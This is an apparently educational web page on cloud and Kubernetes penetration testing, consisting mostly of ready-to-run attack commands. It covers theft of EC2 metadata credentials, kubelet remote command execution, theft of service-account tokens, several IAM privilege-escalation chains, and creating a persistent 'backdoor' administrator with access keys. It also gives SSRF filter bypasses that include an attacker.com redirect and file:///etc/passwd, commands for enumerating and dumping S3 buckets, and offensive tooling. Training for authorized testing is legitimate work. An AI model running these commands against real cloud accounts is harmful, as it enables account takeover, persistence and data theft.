Master AWS, Azure, GCP & Kubernetes Security Testing
Welcome to the Cloud Security & Hacking Lab, where you'll learn offensive security techniques for cloud environments including AWS, Azure, GCP, and Kubernetes.
Market leader with EC2, S3, IAM, Lambda. Common targets: metadata service (169.254.169.254), exposed S3 buckets, IAM misconfigurations.
Enterprise-focused platform with VMs, Blob Storage, AAD. Targets: IMDS endpoint, storage account keys, managed identities.
Developer-friendly with Compute Engine, Cloud Storage, IAM. Targets: metadata server, service account keys, storage buckets.
Container orchestration platform. Targets: etcd, API server, kubelet, exposed dashboards, RBAC misconfigurations.
Identify security vulnerabilities in container images, cloud configurations, and infrastructure as code.
By Aqua Security
Comprehensive vulnerability scanner for containers, file systems, and Git repositories. Detects CVEs, misconfigurations, and secrets.
trivy image nginx:latest
trivy fs --security-checks vuln,config .By CoreOS/Red Hat
Static analysis of vulnerabilities in container images. Integrates with CI/CD pipelines for automated scanning.
clairctl analyze nginx:latest
clairctl report nginx:latestOpen Source
Static analysis of known vulnerabilities, trojans, viruses, and malware in Docker images.
dagda vuln --docker_image nginx:latestBy Palo Alto Networks
Enterprise container security platform with runtime protection, compliance, and vulnerability management.
twistcli images scan nginx:latestCommercial Platform
Container intelligence and security platform with runtime detection and forensics capabilities.
sysdig-cli-scanner nginx:latestUnderstand Kubernetes architecture and common attack vectors for penetration testing.
curl http://target:2379/v2/keys/?recursive=true
etcdctl get / --prefix --keys-onlykubectl --insecure-skip-tls-verify get pods
kubectl auth can-i --listcurl -k https://target:10250/pods
curl -k https://target:10250/run/<namespace>/<pod>/<container> -d "cmd=id"cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl --token=$TOKEN get secretsLearn techniques to discover and exploit misconfigured AWS S3 buckets containing sensitive data.
Search application source code, JavaScript files, and mobile apps for hardcoded S3 bucket names and URLs.
grep -r "s3.amazonaws.com" .
grep -r ".s3." *.jsUse wordlists to generate common bucket names based on company names, domains, and common patterns.
s3scanner scan --buckets-file wordlist.txt
./BucketKicker.py wordlist.txtSearch engine for publicly exposed S3 buckets. Search by bucket name, file type, or keywords in content.
https://buckets.grayhatwarfare.com/
Search: company-name backupCheck bucket permissions, ACLs, and policies for misconfigurations allowing unauthorized access.
aws s3api get-bucket-acl --bucket target
aws s3api get-bucket-policy --bucket targetcompany-name, companyname, company_namecompany-backups, company-logs, company-datacompany-prod, company-dev, company-stagingcompany-assets, company-uploads, company-filesdomain.com, www.domain.com, assets.domain.comaws s3 ls s3://bucket-name --no-sign-requestaws s3 cp test.txt s3://bucket-name/ --no-sign-requestaws s3api put-bucket-acl --bucket name --acl public-readDiscover AWS account information, IAM roles, credentials, and cloud infrastructure details.
Search GitHub for hardcoded credentials, config files, and CloudFormation templates containing account IDs.
site:github.com "company-name" "aws_access_key_id"
site:github.com "company-name" "arn:aws:iam"Trigger verbose error messages that leak account IDs through invalid ARN references.
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/test
aws s3api get-object --bucket name --key testPublic AMIs and snapshots contain owner account IDs in their metadata.
aws ec2 describe-images --owners self
aws ec2 describe-snapshots --owner-ids ACCOUNTCloudFront distributions and ALB DNS names can reveal account information.
dig cloudfront.net ANY
openssl s_client -connect target:443trufflehog git https://github.com/target/repo
git-secrets --scanhttp://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/The EC2 metadata service provides instance metadata and temporary IAM credentials. It's accessible from within EC2 instances at a link-local address.
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/Techniques to elevate privileges from limited IAM permissions to administrator access.
Permissions: ec2:DescribeInstances, s3:ListBucket (Read-only)
Goal: Enumerate environment and identify escalation vectors
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies --user-name usernameRequired Permissions: iam:PassRole + ec2:RunInstances
Technique: Launch EC2 instance with privileged IAM role attached, then access metadata service to steal credentials.
aws ec2 run-instances \
--image-id ami-12345678 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminRole
# SSH into instance and steal creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRoleRequired Permissions: iam:CreatePolicyVersion
Technique: Modify existing policy by creating new version with elevated permissions and setting it as default.
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT:policy/LimitedPolicy \
--policy-document file://admin-policy.json \
--set-as-default
# admin-policy.json:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}Required Permissions: iam:AddUserToGroup
Technique: Add current user to existing admin group to inherit administrative permissions.
aws iam list-groups
aws iam get-group --group-name Administrators
aws iam add-user-to-group \
--user-name compromised-user \
--group-name Administrators
# Verify new permissions:
aws iam list-attached-group-policies --group-name AdministratorsAchieved Permissions: *:* (Full AWS account control)
Impact: Complete account takeover - can create users, access all data, launch resources, modify billing
# Verify admin access:
aws iam list-users
aws s3 ls
aws ec2 describe-instances --region us-east-1
# Create backdoor user:
aws iam create-user --user-name backdoor
aws iam attach-user-policy --user-name backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name backdoorAttach administrator policy directly to user account.
aws iam attach-user-policy \
--user-name current-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccessCreate inline policy with elevated permissions.
aws iam put-user-policy \
--user-name current-user \
--policy-name EscPolicy \
--policy-document file://admin.jsonModify role trust policy to allow assuming privileged role.
aws iam update-assume-role-policy \
--role-name AdminRole \
--policy-document file://trust.jsonCreate Lambda with privileged role and execute code.
aws lambda create-function \
--function-name priv-esc \
--role arn:aws:iam::ACCOUNT:role/AdminRole \
--handler index.handler --zip-file fileb://func.zipServer-Side Request Forgery (SSRF) allows attackers to make requests from the vulnerable server, often to access internal resources like the EC2 metadata service.
Scenario: A web application has a "Fetch URL" feature that retrieves external content. You suspect it's vulnerable to SSRF.
Bypass blacklists using alternative IP representations.
http://169.254.169.254/ (standard)
http://2852039166/ (decimal)
http://0xa9.0xfe.0xa9.0xfe/ (hex)
http://0251.0376.0251.0376/ (octal)Use DNS that resolves to internal IP after initial validation.
http://metadata.nicob.net
http://169.254.169.254.nip.ioHost external page that redirects to metadata service.
http://attacker.com/redirect.php
# Redirects to 169.254.169.254Use alternative protocols or URL parsers.
file:///etc/passwd
gopher://169.254.169.254:80/...
dict://169.254.169.254:80/Attacker exploited SSRF in web application firewall (WAF) to access EC2 metadata service, stealing IAM credentials. Used credentials to access S3 buckets containing 100+ million customer records.
Attack Steps:Essential tools for AWS penetration testing and security assessment.
By Rhino Security Labs
AWS exploitation framework with 40+ modules for enumeration, privilege escalation, persistence, and data exfiltration.
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && bash install.sh
python3 pacu.py
# Example usage:
run iam__enum_permissions
run iam__privesc_scanKey Modules: iam__enum_users, ec2__enum, s3__bucket_finder, lambda__backdoor_function
By Rhino Security Labs
Vulnerable-by-design AWS environment for learning cloud security. Multiple scenarios covering IAM, EC2, Lambda, and more.
git clone https://github.com/RhinoSecurityLabs/cloudgoat
cd cloudgoat
pip3 install -r requirements.txt
python3 cloudgoat.py config profile
python3 cloudgoat.py create iam_privesc_by_rollbackScenarios: IAM privilege escalation, Lambda privilege escalation, EC2 SSRF, CodeBuild secrets
Collection of AWS Exploitation Tools
Suite of tools for AWS credential discovery, enumeration, and exploitation from compromised environments.
git clone https://github.com/dagrz/aws_pwn
# Enumerate IAM permissions:
python3 aws_pwn.py --enumerate
# Search for credentials:
python3 aws_pwn.py --find-credsAWS Attack Library
Python library for interacting with AWS services for penetration testing and red team operations.
git clone https://github.com/carnal0wnage/weirdAAL
python3 weirdAAL.py -m recon_all -t targetAWS Security Assessment
Security best practices assessment, auditing, and hardening tool following CIS benchmarks.
git clone https://github.com/prowler-cloud/prowler
cd prowler
./prowler -M csv html
# Specific checks:
./prowler -g cislevel2Multi-Cloud Security Auditing
Automated security assessment for AWS, Azure, GCP with detailed HTML reports.
pip install scoutsuite
scout aws --profile target
# Multi-cloud scan:
scout all --profile aws_profileS3 Bucket Discovery & Enumeration
Fast tool to find open S3 buckets and dump contents.
pip install s3scanner
s3scanner scan --buckets-file buckets.txt
s3scanner dump --bucket target-bucketS3 Brute Force Tool
Dictionary-based S3 bucket discovery with permission testing.
git clone https://github.com/craighays/bucketkicker
python BucketKicker.py wordlist.txtAWS Environment Visualization
Creates network diagrams of AWS environments for security analysis.
git clone https://github.com/duo-labs/cloudmapper
python cloudmapper.py configure
python cloudmapper.py collect
python cloudmapper.py prepare
python cloudmapper.py webserverIAM Permission Enumeration
Brute force AWS IAM permissions to understand what actions credentials can perform.
git clone https://github.com/andresriancho/enumerate-iam
python enumerate-iam.py --access-key AKIA... --secret-key ...Vulnerable Infrastructure Templates
Intentionally vulnerable Terraform configurations for practicing cloud exploitation.
git clone https://github.com/SecurityFTW/terraform-aws-pwn
terraform init
terraform applyMulti-Cloud Asset Discovery
Enumerate public resources in AWS, Azure, and GCP.
git clone https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k company-nameTest your knowledge of cloud security and hacking techniques. Complete all questions to earn 80 XP!